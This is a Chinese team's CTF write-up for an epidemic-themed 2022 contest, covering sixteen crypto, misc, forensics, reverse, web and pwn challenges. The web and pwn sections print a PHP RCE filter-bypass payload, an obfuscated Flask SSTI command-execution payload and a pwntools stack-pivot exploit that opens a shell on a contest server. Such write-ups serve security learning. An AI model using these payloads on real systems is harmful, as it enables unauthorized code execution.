前言>

他们以”逆行”的姿态为我们筑起一道坚固的”防护墙”,他们在打一场没有硝烟的疫情战,是一条永无退路并且必胜阻击战。他们,就是这个时代的最美逆行者。“–致所有疫情工作者

2022年疫情再起 作为南方人也希望疫情能好转, 为西安同时也为天津、郑州等加油 希望他们能挺过这次难关!

疫情期间网络安全意识需提升 便诞生了本次比赛。

此次比赛由600多名选手参加 我们队伍也是有幸排到了第17名 师傅们都太卷了 将近30道题都要AK了 tql

这次难度还算比较友好,大多数题目都能做也不至于爆0,所以做的过程还是挺舒坦的。

证书是前50%就能拿到的,尽管是这样师傅们也没放弃做题,这种做题的精神是提倡和支持的,比赛最重要的就是竞技精神。

以下分享由我和另一位师傅HuMoLix 组成战队0x04的解题思路

解题思路>

题目一八卦迷宫

题目附件如下:

走迷宫 再把路过的格子对应的字填入即可

用画图画了下

然后对应了一下 最后flag为

cazy{zhan chang yang chang zhan yang he chang shan shan an zhan yi yi zhan yi an yi chang an yang}

FLAG值:cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}

题目二no_cry_no_can

拿到题目后,我们分析题目得知,主要是由 can_encrypt(flag,key) 函数对flag进行加密

通过分析函数,我们可以发现,它是将加密系数 key 进行重组,实际上是将一个key变为多个key 例如 (key: “skip” => new_key: “skipskipskipskip”)知道new_key的长度大于或等于flag,然后再将new_key中的单一字符串于flag中的单一字符串进行异或加密,这类似于古典密码学中的维吉尼亚加密。

由于我们知道flag的前五位是由 cazy{ 组成,那么我们就可以通过密文来回退 key了,因为 key的长度 小于等于 5。

我们可以通过list()函数来将bytes值转为ASCII数组之后进行异或操作。

我们可以根据异或的特性 a ^ b = c ,c ^ b = a来回推我们的key

key = [60 ^ ord('c'), 112 ^ ord('a'), 72 ^ ord('z'), 134 ^ ord('y'), 26 ^ ord('{')]

然后将key通过解密函数对flag进行解密,就可以得到flag了。

#!/usr/bin/python3
from Crypto.Util.number import *
def decrypt(key,flag):
    block_len = len(flag) // len(key) + 1
    new_key = key * block_len
    return bytes([i^j for i,j in zip(flag,new_key)])

key = [95, 17, 50, 255, 97]
flag = [60, 112, 72, 134, 26, 38, 34, 109, 206, 18, 0, 112, 109, 151, 85, 49, 117, 65, 207, 12, 58, 78, 80, 207, 24, 126, 108]

print(decrypt(key,flag))
=> b'cazy{y3_1s_a_h4nds0me_b0y!}'

FLAG值:cazy{y3_1s_a_h4nds0me_b0y!}

题目三combat_slogan

题目附件如下:

一个jar文件

用Apktool Box 打开jar

看Main函数:

大致是通过输入的字符串通过ttk类实现加减ascii码 然后要等于Jr_j11y_s1tug_g0_raq_g0_raq_pnml

用在线工具调试了一下程序 发现这玩意有点凯撒的感觉 然后仔细一数这不是rot13嘛。。

直接把字符串在线rot13转换一下

包上cazy得到flag 提交正确。

FLAG值:cazy{ We_w11l_f1ght_t0_end_t0_end_cazy }

题目四no_can_no_bb

拿到题目,我们发现存在两个函数,一个 pad(m) 一个 encrypt(m, key),我们主要需要分析的函数就是pad

分析pad 函数,我们发现他是将不足16位的文件补足,比16位大的文件补至32位,以此类推。

而且可以看到key 的范围并不大,仅仅只有1 - 1<<20 (1048576),所以这道题目最理想的解题方式就是爆破key,因为AES的ECB模式并不需要考虑iv(偏移量)。

#!/usr/bin/python3
from Crypto.Util.number import *
from Crypto.Cipher import AES
def pad(m):
    tmp = 16-(len(m)%16)
    return m + bytes([tmp for _ in range(tmp)])

for i in range(1,1<<20):
    cipher = b'\x9d\x18K\x84n\xb8b'\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'
    key = pad(long_to_bytes(i))
    aes = AES.new(key,AES.MODE_ECB)
    if aes.decrypt(cipher)[:5] == b'cazy{':
        print(aes.decrypt(cipher))
    else:
        pass
=>b'cazy{n0_c4n,bb?n0p3!}\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'

FLAG值:cazy{n0_c4n,bb?n0p3!}

题目五西安加油

打开流量包

追踪TCP流 发现一段base64

Save提取至txt文本 然后再把无关字符去掉 最后得到:

用python解密一下

得到一堆二进制文件 再写入文件

Winhex分析一下 发现是一个压缩包

改后缀。解压后得到了一堆图片,很明显是拼图题。

因为没有装gaps所以只好ps手拼,为了好拼百度搜索查找一番后找到了原图:

拼了好久一段时间 最后总算是拼完了

FLAG值:cazy{make_XiAn_great_Again}

附gaps做法:

先用montage将小图结合到大图里去

magick montage *.png -geometry +0+0 flag.jpg

将得到的大图 用gaps自动拼接

gaps –image=flag.jpg –generations=40 –population=120 –size=100 –save

题目六朴实无华的取证

这是一道为数不多的内存取证题目,题目给了我们一个xp_sp3.raw内存文件。我们就用volatility对其进行分析。

查看系统基本信息之后,我们可以确定他的系统版本信息为WinXPSP2x86。根据内存取证的做题手法,对内存中正在运行的进程列出进行分析。

我们发现内存中运行着notepad.exe。我们就用 notepad 插件对notepad中的内容进行提取。

发现记事本中存在信息 20211209(encrypt),之后我们对系统中可能存在的有关答案的文件进行列出并提取。

我们可以发现存在flag.zip flag.png。将文件提取出来之后,发现压缩包需要解压密码,那么我们将刚才从记事本中得到的密码对其进行解压。然后我们得到了一个类似于加密的记事本内容。

然后得到了一张png图片,实际上是BMP图片。图片中告诉了我们一个大概的FLAG

然后根据加密脚本,对其进行解密,加密脚本的大致原理应该是一个凯撒加密。并且偏移量为3位。我们对其进行大概的解密后发现,FLAG并不是正确的。

我们知道,在凯撒加密中,特殊字符和数字并不能被正确的加密或者解密,所以根据加密脚本,我们将数字的ACSII码向后位移32位之后,并且根据做题习惯将?改为_,便可以得到正确的flag

FLAG值:cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}

题目七RCE_No_Para

这道题,就是一道需要通过PHP各种参数进行Bypass绕过的题目。

分析题目之后,发现题目通过正则表达式,将匹配到的文件替换为空,并且对 session

end next header dir 字样进行检测,如果检测到了便返回 “Hacker!”

既然会对code中函数进行检测,那么我们就用别的参数进行传参,并且对code进行注释。

构造Payload来获取目录下的文件:

?1551=system(%27cat%20flag.php%27);//&code=eval(implode(reset(get_defined_vars())));

构造Payload来获得flag:

?1551=system(%27cat%20flag.php%27);//&code=eval(implode(reset(get_defined_vars())));

在F12中得到flag值。

FLAG值:flag{94e3bd90859dba7c2cb9f47865947370}

题目八flask

进入题目,我们打开F12打开发现前端存在判断,仔细观察函数requests已经if语句格式,结合题目 flask,我们推断出来这是一道SSTI注入题目。

然后题目要求url的结尾必须以.js结尾。所以我们可以构造一个注入语句来判读框架。

/admin?name=49&a=.js?

果然,不出所料,这道题目属于 Flask SSTI 模板注入,在对网页后端的WAF进行爆破后,我们发现我们常用的__globlas__,__init__,等寻常的函数都被WAF了。

但是我们可以用另一种方法,那就是利用python内置的attr函数啦进行十六进制转字符串并且执行函数,用()来代替[],用attr来实现函数功能。

Payload:

admin?name={{(test'attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")'attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")'attr("\x67\x65\x74")("\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f")'attr("\x67\x65\x74")("\x65\x76\x61\x6c")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x22\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x22\x29\x2e\x72\x65\x61\x64\x28\x29"))}}&a=.js?

然后就可以得到flag。

FLAG值:flag{81ede5b11793556e2f311b010ed3b34b}

题目九cute_doge

作为一个逆向狗,无论什么exe都想点一点。看到题目,我们打开之后,并没有特别的提示,只有一只 cute_doge

并且在点击图片(按钮)之后会提示”我说flag在这里,你信吗?”字样。于是我们按照惯例,对软件进行分析。

在确定是64位系统软件之后,我们就可以使用IDA来对软件进行静态分析。

在对软件内的字符串进行从上到下的分析时,我们发现有一串类似于base64加密的字符串,别问,问就是杂项手的第六感。

果不其然,在解密后我们得到flag

FLAG值:flag{Ch1na_yyds_cazy}

题目十无字天书

这道题目属实有一点偏门,但是身为一个杂项人,搜索能力当然是最重要的。

题目给了我们一个 key.ws 和一个 flag.txt,其中的内容都是有空格 连接符 - 和 Tab号组成的密文,观察 flag.txt ,发现明显是由 snow 加密过后的 flag

但是解密 snow 需要密钥,那么我们在看到 key.ws 只有空格和连接号和Tab组成并且没有明显的分隔符,那么经过一番搜索,最后确定了是 white-space 隐写。

我们成功拿到Key之后,就可以用Snow 解密工具对flag进行解密了。

FLAG值:cazy{C4n_y0u_underSt4nd_th3_b0oK_With0ut_Str1ng}

题目十一 binary

这道题目给了我们一个234文件,在我们不清楚文件类型的情况下,我们可以使用Winhex来分析文件的文件头,从而确定文件的文件类型。

通过分析文件头 CAFEBABE 我们可以知道这是一个 java 的 .class 文件,知道文件类型之后,我们就可以对文件进行反编译了。我的做法是直接扔到 IDEA 里面进行反编译。

分析文件后,我们发现主函数 Main 下有一个数组,且里面的字符很像我们日常使用的ACSII编码。我们将字符进行提取并且解码。

得到文件后,熟悉Base64的CTFer就知道是0和1的编码了。放到在线网站base64.us种解密后得到我们所需要的数据。

解码后,我们发现这是由一个一组由37个数据并且分37组所组成的二进制,当我们将二进制分行显示时,便发现二进制的排序从某种角度来说很像二进制。

为了验证我们的猜想,我们将1替换为白色方格,将0替换为黑色方格。然后显示字符串。

所幸,我们的猜想是正确的,通过扫描二维码我们也是成功的获取到了flag。

FLAG值:flag{932b2c0070e4897ea7df0190dbf36ece}

题目十二 hello_py

这道题目,我们直接利用在线的pyc转py的网站,将题目所给的pyc文件转为可读的py文件。

根据python文件所给的整体逻辑,我们分析题目需要我们输入一个flag,然后进行加密,对已经加密过的Happy数列进行比较。

然后我们发现存在两个加密函数 encode_1 和 encode_2 ,但是他们并不是一起工作的,而是有线程 t1 先启动,然后线程 t2 再启动。组成一个双加密。

分析 encode_1 函数,是将 flag 于 奇数位进行异或加密, encode_2 函数则是于 偶数位进行异或加密。注意他们的加密方式虽然相同但是加密的偏移量不同。

然后我们就可以逆向推导出解密过程。

(chr(112 ^ 9) + chr(10 ^ 112) + chr(102 ^ 7) + chr(5 ^ 102) + chr(90 ^ 5) + chr(106 ^ 90) + chr(50 ^ 3) + chr(3 ^ 50) + chr(100 ^ 1) + chr(44 ^ 100))[::-1]
=>'He110_cazy'

FLAG值: He110_cazy

题目十三 Ez_Steg

题目附件如下:

压缩包提示说密码是6位数字

直接用bandizip自带的密码破解 很快啊,只要一秒啊

得到密码为220101

解压成功后 得到emjio.txt 和一个pyc文件

先看emoji密码

先试了试base100 无果,题目还给了一个pyc 需要密钥的emoji加密 猜想到了emoji-aes加密

再看pyc文件 我第一时间是将其反编译uncompyle6 -o key.py steg.pyc

Python文件如下:

这里我卡了很久 这程序跟我们要的密钥也没关系呀。。所以我这边就放了放 后面突然想起来了pyc也能作为一种隐写。

这里是剑龙隐写Stegosaurus 脚本github可下

Python stegosaurus.py -x steg.pyc

得到了key St3g1sV3ryFuNny

最后用emoji-aes解码 一把梭! https://aghorler.github.io/emoji-aes/

FLAG值: cazy{Em0j1s_AES_4nd_PyC_St3g_D0_yoU_l1ke}

题目十四 no_math_no_cry

这道题目比较小,所以我们直接来看 sec_encry(m) 这个函数。c 是该函数加密flag后得到的值

根据他的加密过程,我们可以反向推导解密脚本,但是我们在编写脚本的时候要注意,因为他限制了flag的长度不能超过80,那么经过bytes_to_long变成数字的flag 再减去 1<<500(3273390607896141870013189696827599152216642046043064789483291368096133796404674554883270092325904157150886684127560071009217256545885393053328527589376)之后,很有可能是负数。而负数的平方又是正数。以下是解密脚本

#!/usr/bin/python3
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes as l2b
c = 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169
c1 = c - 0x0338470
c2 = iroot(c1,2)[0]
c3 = -c2 + (1<<500)
print(l2b(c3))
=>b'cazy{1234567890_no_m4th_n0_cRy}'

FLAG值:cazy{1234567890_no_m4th_n0_cRy}

题目十五 pwn1

32位程序 IDA分析:

显然的栈溢出 shift+f12 看字符串 发现还给了后门:

这道本让我以为很简单的题目我却做了很久 栈溢出 后门,没想到不是那么简单

(原本的payload)

结果没打通

后来搞了很久 想了一下题目还给了buf的地址 再看汇编

那么是不是可以把/bin/sh写进buf的地址 然后把地址覆盖 最后拿到shell

实际上我们要找到binsh的地址 然后再填充一些垃圾字符 最后再将buf的地址覆盖 因为最后lea那里减去了4 所以最后还要补一个+4

其实不是栈溢出 而是栈迁移。

先用接受buf的地址

r.recvuntil('Gift:')
bufaddr = eval(r.recv().strip())

这里找到后门地址为0x8048540

所以最终payload是

payload = p32(binsh_addr) + b'a'*48 + p32(bufaddr+4)

打通:

from pwn import *

context.log_level='debug'
r = remote('113.201.14.253',16088)
r.recvuntil('Gift:')
bufaddr = eval(r.recv().strip())
print('[+]%s'%hex(bufaddr))
binsh_addr = 0x08048540
payload = p32(binsh_addr) + b'a'*48 + p32(bufaddr+4)
r.sendline(payload)
r.interactive()

FLAG值:flag{474b7f9219effe69530da4ad63c1752a}

题目十六LinearEquations

拿到题目之后。通过观察题目。我们可以发现题目主要分为3大块,第一块就是开头的限制函数 assert,通过这里我们可以得到很多信息。比如flag的长度为24位。

第二块就是主要的加密块了,我们可以发现通过 init() 来初始化 class类,并且传递了两个值,就是 seed1 和 seed2,并且将flag 分为了3份,由 flag[:8] flag[8:16] flag[16:]组成,每一部分8个字符。并且8个字符转为数字后不能比n大。

第三块就是我们的主进程了。进程通过getRandomInteger(64)来向函数中传递了两个seed的值。并且返回了由 my_LCG().next()中产生的5个seed。

由函数推理得知,seed3是由 seed1 和 seed2 推导产生。

具体的方程为 (flag1 * seed2 + flag2 * seed1 + flag3) % n

由此,我们可以推导出三条方程,结合题目的意思,就是线性方程组。

flag1 * seed4 + flag2 * seed3 + flag3 mode n = seed5
flag1 * seed5 + flag2 * seed4 + flag3 mode n = seed6
flag1 * seed6 + flag2 * seed5 + flag3 mode n = seed7

由此我们可以联立线性方程组,最后推出答案。

flag1 = 5490290802446982981
flag2 = 8175498372211240502
flag3 = 6859390560180138873

最后将flag转为字符串即可

FLAG值:cazy{L1near_Equ4t1on6_1s_34sy}